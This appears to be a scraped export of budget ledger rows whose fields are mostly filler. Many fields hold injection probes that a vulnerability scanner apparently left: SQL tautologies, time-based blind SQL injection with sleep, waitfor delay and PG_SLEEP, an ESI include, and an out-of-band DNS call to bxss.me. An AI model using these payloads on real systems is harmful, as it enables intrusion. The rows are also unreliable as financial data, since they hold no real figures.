<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1&lt;esi:include src="http://bxss.me/rpb.png"/&gt;</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1' OR 5*5=25 or 'xRz8n6mo'='</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1' OR 5*5=26 or 'xRz8n6mo'='</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1" OR 5*5=26 or "XKrwSOqW"="</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1-1; waitfor delay '0:0:15' -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1kI2YCrVp'; waitfor delay '0:0:15' -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1-1 OR 303=(SELECT 303 FROM PG_SLEEP(15))--</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1XyufGzIo</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1-1); waitfor delay '0:0:15' -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1-1 waitfor delay '0:0:15' -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1-1 OR 73=(SELECT 73 FROM PG_SLEEP(15))--</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1-1)) OR 865=(SELECT 865 FROM PG_SLEEP(15))--</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1-1 waitfor delay '0:0:15' -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1mgV0gXDx') OR 319=(SELECT 319 FROM PG_SLEEP(15))--</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1cg2Mt8vd')) OR 369=(SELECT 369 FROM PG_SLEEP(15))--</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>@@hdoMK</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>ajDubMqQ</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1 OR 5*5=25 -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1 OR 5*5=26 -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1 OR 5*5=25</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1 OR 5*5=26</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1' OR 5*5=25 -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1' OR 5*5=26 -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1" OR 5*5=25 -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1' OR 5*5=25 or 'IVVXwdVm'='</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1' OR 5*5=26 or 'IVVXwdVm'='</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1" OR 5*5=25 or "FuP7GxGS"="</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1" OR 5*5=26 or "FuP7GxGS"="</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1*if(now()=sysdate(),sleep(15),0)</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1-1; waitfor delay '0:0:15' -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1-1) OR 273=(SELECT 273 FROM PG_SLEEP(15))--</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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Socket.gethostbyname('hittt'+'wxysffuk7ae4f.bxss.me.')[3].to_s)+'</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1' OR 5*5=25 -- </fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMULiThpTIT'; waitfor delay '0:0:15' -- </department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
